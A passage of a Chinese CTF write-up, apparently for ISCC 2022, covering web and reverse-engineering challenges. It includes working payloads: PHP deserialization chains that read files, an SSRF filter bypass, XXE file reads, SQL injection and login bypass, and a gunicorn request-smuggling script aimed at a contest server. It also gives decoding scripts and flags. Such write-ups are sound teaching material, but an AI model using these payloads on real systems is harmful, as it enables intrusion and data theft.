f12看了下确实有俩框,所以iframe里的是假的。

file

那就删掉假的然后按钮删掉disabled属性再看看。

结果提示:

file

抓了下包发现有两个包是啥open close的。

file

file

那大概就是发一下open那个包再去拿flag呗。

结果提示经纬度错误。

file

然后试了半天,发现出题人tm傻逼,longitude能写成langtitude,还tm觉得这个单词意思是纬度,要传39°54'N,然后纬度latitude那边要传经度116°23'E,然后传了还不对,分号要用...真想给出题人一脚,tm的首页给的示例被吃了吗?

file

ISCC{wQ1NXxs_108xKL08vE_aS190_1qzFSNO}

Pop2022

看名字就知道肯定是反序列化的题了。

<?php

echo "Happy New Year~ MAKE A WISH<br>";

if(isset($_GET["wish"])){
    @unserialize($_GET["wish"]);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file="index.php"){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|../i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

大概看一下,链子应该是:

  • Try_Work_Hard作为函数被调用,触发__invoke,然后执行append($var),也就是等价于include($var),那就是说可以读文件,那给$var搞个php+base64伪协议把flag.php的代码转成base64输出。
  • 那么怎么调用Try_Work_Hard呢?Make_a_Change里的取属性值__get可以把$effort当作函数调用,只要让$effort是个Try_Work_Hard实体就行。
  • 所以现在就是要找个取属性值的地方,而正好,Road_is_Long__toString里对$string取了属性值page,所以让$stringMake_a_Change实体就行。
  • 那么现在就需要想办法找个文本处理的地方给塞个Road_is_Long实体进去,而正好,他自己的反序列化方法__wakeup里就有调用preg_match去处理$page,那么让$page也是个Road_is_Long实体就完事。
<?php
class Road_is_Long{
    public $page;
    public $string;
}

class Try_Work_Hard{
    protected  $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}

class Make_a_Change{
    public $effort;
}
$d = new Try_Work_Hard();
$c = new Make_a_Change();
$c -> effort = $d;
$b = new Road_is_Long();
$b -> string = $c;
$a = new Road_is_Long();
$a -> page = $b;
echo urlencode(serialize($a)); // 因为有`protected`,会有`x00`字符存在,编码了方便复制

得到O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BO%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3BN%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A6%3A%22string%22%3BN%3B%7D,打一下得到flag。

file

ISCC{SQVbsqL16_1saQBxaF30_fSsxQFS213}

这是一道代码审计题

/static/code.txt发现被加密的源码。

👛👜👝🐗👞👜👥👜👊👠👞👥🐟🐠🐱🐁🐗🐗🐗🐗👠👝🐟👚👦👥👫👩👦👣👖👢👜👰🐴🐴🐨🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👩👜👥👛👜👩👖👫👜👤👧👣👘👫👜🐟🐙👠👥👛👜👯🐥👟👫👤👣🐙🐠🐁🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐙👐👦👬🐗👟👘👭👜🐗👥👦👫🐗👘👚👚👜👪👪🐗👫👦🐗👫👟👠👪🐗👧👘👞👜🐘🐙🐁🐁👛👜👝🐗👚👟👜👚👢👖👪👪👩👝🐟👬👩👣🐠🐱🐁🐗🐗🐗🐗👟👦👪👫👥👘👤👜🐗🐴🐗👬👩👣👧👘👩👪👜🐟👬👩👣🐠🐥👟👦👪👫👥👘👤👜🐁🐗🐗🐗🐗👫👩👰🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👥👦👫🐗👩👜🐥👤👘👫👚👟🐟🐞👟👫👫👧👪🐶🐱🐦🐦🐟🐶🐱👒🐤👓👮🐥👔👳🐟🐶🐱🐜👒👓👛👘🐤👝🐸🐤🐽👔👲🐩👴🐠🐠🐢🐞🐣🐗👬👩👣🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👥👦👫🐗👩👜🐥👤👘👫👚👟🐟🐞👟👫👫👧👪🐶🐱🐦🐦🐷🐟🐶🐱👒🐤👓👮🐥👔👳🐟🐶🐱🐜👒👓👛👘🐤👝🐸🐤🐽👔👲🐩👴🐠🐠🐢🐞🐣🐗👬👩👣🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👘👠👪👜🐗🐹👘👪👜🐼👯👚👜👧👫👠👦👥🐟🐙👬👩👣🐗👝👦👩👤👘👫🐗👜👩👩👦👩🐙🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗🐗👩👜🐥👤👘👫👚👟🐟🐞👟👫👫👧👪🐶🐱🐦🐦🐷🐟🐶🐱👒🐤👓👮🐥👔👳🐟🐶🐱🐜👒👓👛👘🐤👝🐸🐤🐽👔👲🐩👴🐠🐠🐢🐞🐣🐗👬👩👣🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👡👬👛👞👜👖👠👧🐟👟👦👪👫👥👘👤👜🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👋👩👬👜🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗🐙👐👦👬🐗👥👦👫🐗👞👜👫🐗👫👟👜🐗👩👠👞👟👫🐗👚👣👬👜🐘🐙🐁🐗🐗🐗🐗🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👧👖👘👛👛👩👜👪👪🐗🐴🐗👪👦👚👢👜👫🐥👞👜👫👘👛👛👩👠👥👝👦🐟👟👦👪👫👥👘👤👜🐣🐞👟👫👫👧🐞🐠👒🐧👔👒🐫👔👒🐧👔🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👠👪👖👠👥👥👜👩👖👠👧👘👛👛👩👜👪👪🐟👠👧👖👘👛👛👩👜👪👪🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐙👠👥👥👜👩🐗👠👧🐗👘👛👛👩👜👪👪🐗👘👫👫👘👚👢🐙🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗🐙👐👦👬🐗👥👦👫🐗👞👜👫🐗👫👟👜🐗👩👠👞👟👫🐗👚👣👬👜🐘🐙🐁🐗🐗🐗🐗👜👯👚👜👧👫🐗🐹👘👪👜🐼👯👚👜👧👫👠👦👥🐗👘👪🐗👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗👪👫👩🐟👜🐠🐁🐗🐗🐗🐗👜👯👚👜👧👫🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐣🐗🐙👬👥👢👥👦👮🐗👜👩👩👦👩🐙🐁🐁👛👜👝🐗👠👧🐩👣👦👥👞🐟👠👧👖👘👛👛👩🐠🐱🐁🐗🐗🐗🐗👩👜👫👬👩👥🐗👪👫👩👬👚👫🐥👬👥👧👘👚👢🐟🐙🐘👃🐙🐣🐗👪👦👚👢👜👫🐥👠👥👜👫👖👘👫👦👥🐟👠👧👖👘👛👛👩🐠🐠👒🐧👔🐁🐁👛👜👝🐗👠👪👖👠👥👥👜👩👖👠👧👘👛👛👩👜👪👪🐟👠👧🐠🐱🐁🐗🐗🐗🐗👠👧🐗🐴🐗👠👧🐩👣👦👥👞🐟👠👧🐠🐁🐗🐗🐗🐗👧👩👠👥👫🐟👠👧🐠🐁🐗🐗🐗🐗👩👜👫👬👩👥🐗👠👧🐩👣👦👥👞🐟🐞🐨🐩🐮🐥🐧🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐫🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐫🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐨🐧🐥🐧🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐫🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐫🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐨🐮🐩🐥🐨🐭🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐧🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐧🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐨🐰🐩🐥🐨🐭🐯🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐨🐭🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐨🐭🐗👦👩🐗👠👧🐩👣👦👥👞🐟🐞🐧🐥🐧🐥🐧🐥🐧🐞🐠🐗🐵🐵🐗🐩🐫🐗🐴🐴🐗👠👧🐗🐵🐵🐗🐩🐫🐁🐁👛👜👝🐗👮👘👝🐨🐟👠👧🐠🐱🐁🐗🐗🐗🐗👝👦👩👙👠👛👛👜👥👖👣👠👪👫🐗🐴🐗👒🐗🐞🐥🐞🐣🐗🐞🐧🐞🐣🐗🐞🐨🐞🐣🐗🐞🐩🐞🐣🐗🐞🐮🐞👔🐁🐗🐗🐗🐗👝👦👩🐗👮👦👩👛🐗👠👥🐗👝👦👩👙👠👛👛👜👥👖👣👠👪👫🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👠👧🐗👘👥👛🐗👮👦👩👛🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐗👮👦👩👛🐗👠👥🐗👠👧🐥👣👦👮👜👩🐟🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👋👩👬👜🐁🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜🐁🐁👛👜👝🐗👡👬👛👞👜👖👠👧🐟👠👧🐠🐱🐁🐗🐗🐗🐗👠👝🐟👮👘👝🐨🐟👠👧🐠🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👪👣👜🐁🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗👘👛👛👩🐗🐴🐗👘👛👛👩🐥👜👥👚👦👛👜🐟👜👥👚👦👛👠👥👞🐗🐴🐗🐙👬👫👝🐤🐯🐙🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👧👧🐗🐴🐗👙👘👪👜🐭🐫🐥👜👥👚👦👛👜👪👫👩👠👥👞🐟👘👛👛👩🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👧👧🐗🐴🐗👠👧👧🐥👪👫👩👠👧🐟🐠🐥👣👦👮👜👩🐟🐠🐥👛👜👚👦👛👜🐟🐠🐁🐗🐗🐗🐗🐗🐗🐗🐗👠👝🐟👠👧🐴🐴👠👧👧🐠🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👞👣👦👙👘👣🐗👚👦👥👫👩👦👣👖👢👜👰🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👚👦👥👫👩👦👣👖👢👜👰🐗🐴🐗🐨🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗👋👩👬👜🐁🐗🐗🐗🐗🐗🐗🐗🐗👜👣👪👜🐱🐁🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗🐗👩👜👫👬👩👥🐗🐽👘👣👪👜

解码得到:

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"

def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
        else:
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"

def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False

def judge_ip(ip):
    if(waf1(ip)):
        return Fasle
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)
        ipp = ipp.strip().lower().decode()
        if(ip==ipp):
            global control_key
            control_key = 1
            return True
        else:
            return False

check_ssrf那边有个url参数,猜测要传url,测试一下,发现还是404,去看cookies,发现有个提示:

file

所以那就login=0login=1呗,不传参刷新页面,发现提示url=127.0.0.1

file

那就根据源码看看url格式,check_ssrf那边就一个return True,只看这个分支的条件就完事,所以需要http://@或者https://@开头,然后跟的ip满足judge_ip函数,然后judge_ip又要绕过waf1函数,waf1函数就是说ip要不包括.0127,然后judge_ip那边对内置常量addr进行base64编码,addr大概率是127.0.0.1,然后和传入的ip相当就行。

那就base64编码一下127.0.0.1,得到MTI3LjAuMC4x,然后传参呗,得到新的路由和cookies

file

那就去改改cookies然后访问新路由,是个登录页面。

file

查看页面代码发现事件没挂上去,因为οnclickο不是o,然后jQuery也没拉取,用不了,然后标题是./flag.txt

<html>
<head>
    <title>./flag.txt</title>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
 <script type="text/javascript">
function codelogin(){
    var name = $("#name").val();
    var password = $("#password").val();
    if(name == "" || word == ""){
        alert("Please enter the username and password!");
        return;
    }

    var data = "<user><name>" + name + "</name><password>" + password + "</password></user>";
    $.ajax({
        contentType: "application/xml;charset=utf-8",
        type: "POST",
        url: "codelogin",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
            var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
            var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
            if(code == "0"){
                $(".msg").text(msg + " login fail!");
            }else if(code == "1"){
                $(".msg").text(msg + " login success!");
            }else{
                $(".msg").text("error:" + msg);
            }
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    });
}
</script>
</head>

<body>
     <form>
     <div  id="loginFormMain">
         <table  style="width:468px;height:262px;background-color: gray;text-align: center;">
              <tr>
                 <th colspan="2" align="center" >登录</th>
              </tr>
              <tr>
                  <td>用户名:<input id="name" type="text" style="width: 200px;height: 30px;"  name="name"></td>
              </tr>
              <tr>
                  <td>密  码:<input id="password" type="password"  style="width: 200px;height: 30px;"  name="password"></td>
              </tr>
              <tr>
                  <td align="center" ><input type="button" style="cursor: pointer;font-style: inherit;" name="next"  value="login" οnclick="javascript:codelogin()" />

              </tr>
         </table>
     </div>
      </form>
</body>
</html>

随便发个包发现果然返回code=0,然后还返回了用户名。

file

那这既然又是xml传参又有可控回显的,那就试试看用户名那边xxe呗,发现果然能打。

file

既然刚才提示了./flag.txt,那就/proc/self/cwd指向当前进程目录走起,成功拿下。

file

ISCC{jQvb8-aqiuVtrX19-i71bl18c-ew08Sq0xf}

Easy-SQL

拿到题目,给的入口是?id=,那么先试试看注入难度,直接?id=1 order by 1还是能出来数据,然后故意打错一下就出不来数据,证明有注入,尝试union select,发现select被拦了,尝试了几手常用的绕过都没效果,于是sqlmap一把梭,拿到数据库名security,然后版本是MySQL 8的,其他就没了,一看到这版本,那不铁定是利用新的table语法吗!冲就完事了。

构造一首?id=0 union table users limit 1 offset 0,成功拿到id=1的数据,那么就往下找beaxia呗。

file

?id=0 union table users limit 1 offset 7时发现目标用户beaxia

file

但是题目要求是拿到beaxia的邮箱地址,所以猜测在另一张表,猜一手表名emails,构造出?id=0 union table emails limit 1 offset 7,还真就是...

file

得到邮箱地址ypHeMPardErE.zip@beaxia.cn,看着像是文件名,于是访问ypHeMPardErE.zip,还真有个压缩包,下载下来打开是个php。

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = "/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|^||| |"/i";
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET["id"])) 
{
    $id = $_GET["id"];
    $sql = "select * from users where id=$id";
    $safe = preg_match("/select/is", $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row["username"] . "</h3><br>";
        echo "<h3>" . $row["passwd"] . "</h3>";
    }
    else
        die("<br>Error!");
}

if (isset($_POST["username"]) && isset($_POST["passwd"])) 
{

    $username = strval($_POST["username"]);
    $passwd = strval($_POST["passwd"]);

    if ( !sqlWaf($passwd) )
        die("damn hacker");

    $sql = "SELECT * FROM users WHERE username="${username}" AND passwd= "${passwd}"";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row["username"] === "admin" && $row["passwd"] )
        {
            if ($row["passwd"] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>

看了下代码,意思是还有个套娃入口,是postusernamepasswd的,然后预期是查询返回的结果里usernameadminpasswd和输入的一样,但是根据刚才咱们遍历的情况,并没有admin用户,那就注入个返回出来呗。

而看情况passwd的防护很严,所以直接不管它,后面利用username在结尾注释掉就行,所以咱们诸如点就是username,思路就是select个常量来返回。

于是构造个payload,得到passwd=abc&username=' union select 1,"admin","abc" %23,成功拿下。

ISCC{0H_1you*A2E-S0_Gre4t.Congt2!}

findme

打开环境,就一张图,看一下源码发现/unser.php

file

/unser.php发现是个反序列化题。

<?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;

    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === "unserialize"){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo "Your output: ".$this->un4;
    }

    public function giao(){
        @eval($this->un2);
    }

    public function __wakeup(){
        include $this -> un2."hint.php";
    }
}

$data = $_POST["data"];
unserialize($data);

这里首先看到hint.php,尝试访问一下,没404,说明这个文件真的存在。

然后看到Givemeanew函数可以new个类出来,而这题没有其他类,那么就是想让咱们new原生类了。然后Givemeanew函数在__destruct反序列化时调用,条件是un0不为空但是un2为空,然后Givemeanew的执行结果在un4里面,所以需要调用yigei函数来输出un4,那么就得满足un3unserialize

链子大概理清楚了,那就想想该用啥原生类了。咱先打算去看看hint.php的内容是啥,而原生类中有个SplFileObject类,可以传入路径然后返回一个按行读取的迭代器,而咱们的迭代器存在un4里,然后被echo,也就是说咱只能读取到第一行。那就还得弄个php+base64的伪协议路径去把文件内容搞成一行,然后一次性输出:

php://filter/read=convert.base64-encode/resource=hint.php

然后序列化字符串就是:

O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

去反序列化打一下得到hint:

file

既然说文件名爆破不了,那就联想到了原生类GlobIterator,传入带通配符的路径,然后返回文件名迭代器,那么就是要调用new GlobIterator('f*.txt'),那么序列化字符串就是:

O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

去反序列化打一下得到文件名:

file

访问得到flag。

file

ISCC{D19DSdw_SsS0716dswQsK_2tEN}

让我康康!

这题题目环境之前一直挂,终于抽空写出来了。

打开环境看代码,让去搜索flag

file

搜索flag得到提示去访问fl4g

file

但是访问得到403...

file

探测环境得到gunicorn 20.0.0

file

既然低于20.0.4,那么http 请求走私肯定是存在的了,这题考点应该也是在这。

具体分析文章:gunicorn 20.0.4 请求走私漏洞简析(含复现环境&Poc)

跟着文章的思路先写个访问/fl4g的走私请求看看。

import pwn

req3 = b"rn".join([
    b"GET / HTTP/1.1",
    b"Host: 59.110.159.206:7020",
    b"Content-Length: 0",
    b"",
    b"",
])
req2 = b"xxxxxxxx"+b"rn".join([
    b"GET /fl4g HTTP/1.1",
    b"Host: 59.110.159.206:7020",
    b"Content-Length: "+str(len(req3)).encode(),
    b"",
    b"",
])
req1 = b"rn".join([
    b"GET / HTTP/1.1",
    b"Host: 59.110.159.206:7020",
    b"Content-Length: "+str(len(req2)).encode(),
    b"Sec-Websocket-Key1: x",
    b"",
    b"",
])

r = pwn.remote("59.110.159.206", 7020)
r.send(req1+req2+req3)
print(r.recvall(1).decode(), end="")

发现提示需要本地访问。

file

尝试了xff等常见的伪装本地的手法,都没绕过去,把图片路径走私一下下载下来也没找到东西...

于是猜测可能是Haproxy配置了在转发的时候加其他类似于xff功能的请求头,那么这时候就需要一个回显最终请求头的地方了,这不就有现成的嘛。

file

那就走私一下这个search的api,先设置正常body长度看看情况。

发现有自定义请求头回显过来了,但是理论上这时候只会有2字节的额外回显才对啊?

file

比对了下发现是Host字段被改了,那为了方便理解,控制变量法搞起,成功回显了额外2字节。

file

大概解释一下,我们发送的连体包长这样:

GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
rn

而中间转发程序Haproxy眼里的包长这样:

GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123
--------------------------------
GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
rn

上半个包的body长度标记为137是因为中间这个被当作请求主体的包加上xxxxxxxx正好137字节:

xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123

然后根据Haproxy的配置文件,给上半个包和下半个包都加上自定义头secr3t_ip: 你滴ip,然后转发给处理程序gunicorn,所以gunicorn接收到的连体包长这样:

GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
secr3t_ip: 1.2.3.4rn
rn
xxxxxxxxPOST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
secr3t_ip: 1.2.3.4rn
rn

但是处理程序gunicorn眼里的包长这样:

GET / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Length: 137rn
Sec-Websocket-Key1: xrn
secr3t_ip: 1.2.3.4rn
rn
xxxxxxxx
--------------------------------
POST / HTTP/1.1rn
Host: 59.110.159.206:7020rn
Content-Type: application/x-www-form-urlencodedrn
Content-Length: 68rn
rn
search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
secr3t_ip: 1.2.3.4rn
rn

所以上半个请求返回了个首页,至于下半个请求,它的body长度填了68,那咱数数请求主体部分前68字节是啥:

search=test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
se

所以,处理程序认为咱们的搜索词是:

test123GET / HTTP/1.1rn
Host: 127.0.0.1rn
Content-Length: 0rn
se

然后肯定搜不到嘛,就回显个0 search results for '搜索词',那么原本末尾的rn2字节就被额外的secr3t_ip: 1.2.3.4请求头给顶替掉来回显了。

所以回头构造一下fl4g的走私请求,加上自定义请求头,成功拿下。

file

import pwn

req3 = b"rn".join([
    b"GET / HTTP/1.1",  # rn
    b"Host: 59.110.159.206:7020",  # rn
    b"Content-Length: 0",  # rn
    b"",  # rn
    b"",
])
req2 = b"xxxxxxxx"+b"rn".join([
    b"GET /fl4g HTTP/1.1",  # rn
    b"Host: 59.110.159.206:7020",  # rn
    b"Content-Length: "+str(len(req3)).encode(),  # rn
    b"secr3t_ip: 127.0.0.1",  # rn
    b"",  # rn
    b"",
])
# req2body = b"search=test123"
# req2 = b"xxxxxxxx"+b"rn".join([
#     b"POST / HTTP/1.1",  # rn
#     b"Host: 59.110.159.206:7020",  # rn
#     b"Content-Type: application/x-www-form-urlencoded",  # rn
#     b"Content-Length: "+str(len(req2body)+len(req3)).encode(),  # rn
#     b"",
#     req2body,
# ])
req1 = b"rn".join([
    b"GET / HTTP/1.1",  # rn
    b"Host: 59.110.159.206:7020",  # rn
    b"Content-Length: "+str(len(req2)).encode(),  # rn
    b"Sec-Websocket-Key1: x",  # rn
    b"",  # rn
    b"",
])

r = pwn.remote("59.110.159.206", 7020)
r.send(req1+req2+req3)
result = r.recvall(1)
print(result.decode(), end="")

ISCC{SX1jskQ_JqnQC082_fSSafo1xzS961}

Reverse

GetTheTable

拿到题目尝试运行,打不开...

那就直接ida打开吧。

file

这咋看咋像base58,直接解试试。

file

ISCC{C4MqweJxJVaUa}

Amy's Code

直接ida打开。

file

主要流程就是把输入给复制一份,然后经过sub_4115FF处理,用sub_411433判断一下就完事。

先看处理函数,跳了几次后来到sub_4128A0,就是个foreach的异或i

file

然后再看判断函数,跳了几次后来到sub_412550,虽然代码有点绕,但实际上就是foreachLWHFUENGDJGEFHYDHIGJ按位各自异或,然后和上面那个数组比较。

file

那么脚本思路就差不多出来了,随便写写脚本,直接拿下。

a = b"x95xa9x89x86xd4xbcxb1xb8xb1xc5xc0xb3x99x81xa8xa3xabix88xb8"
b = b"LWHFUENGDJGEFHYDHIGJ"
c = bytearray(20)

for i in range(20):
    c[i] = a[i] - b[i]
    c[i] ^= i
print(c)

ISCC{reverse_4APs1S}

How_decode

直接ida打开。

file

长度已知18,判长后把输入的char类型数组给拷贝到了int类型数组,经过encode函数处理后和上面那个数组比较。

那么核心就是那个encode函数,进去看发现是个xxtea加密算法。

file

不过对比下标准的xxtea加密函数就能发现,标准函数用的sum是累加的,题目用的sum是累减的,其他倒是没什么区别,所以下面写解密函数的时候,把sum相关的负一下就行。

#include <iostream>
using namespace std;

int main() {
    int key[4] = {"I", "S", "C", "C"};
    int n = 18;

    int flagI[18] = {
            -617635010,
            -459909124,
            -448805673,
            493624176,
            1688025630,
            1582825235,
            -268279330,
            866550227,
            -1514328206,
            513946485,
            -1559238803,
            279030348,
            1890218899,
            262252445,
            931094443,
            -1753102858,
            1958698874,
            -254663693,
    };

    int rounds = 52 / n + 6; // 8
    int sum = rounds * -0x61C88647; // 需要反向

    int y = flagI[0];
    for (; rounds--;) {
        for (int i=n-1; i>=0; i--) {
            int z = flagI[(i + n - 1)%n];
            y = flagI[i] -= ((y ^ sum) + (z ^ key[((sum >> 2) & 3) ^ (i & 3)])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
        }
        sum += 0x61C88647; // 需要反向
    }
    for (int i = 0; i < n; ++i)
        cout << (char)flagI[i];
    cout << endl;
    // ISCC{xJeoq1K8It5i}
    return 0;
}

直接拿下。

ISCC{xJeoq1K8It5i}

Sad Code

直接ida打开。

file

一眼看到俩四元方程组,直接复制出来在线解。

c+7b-4a-2d=7792427005, 5d+3c-b-2a=6825082028, 2b+8d+10a-5c=22226494145, 7a+15b-3d-2c=32566836614
15a+35d-b-c=64815038875, 38c+a+d-24b=17913579048, 38b+32a-c-d=76024459363, a+41c-b-25d=10025449441

file

file

得到如下8个数:

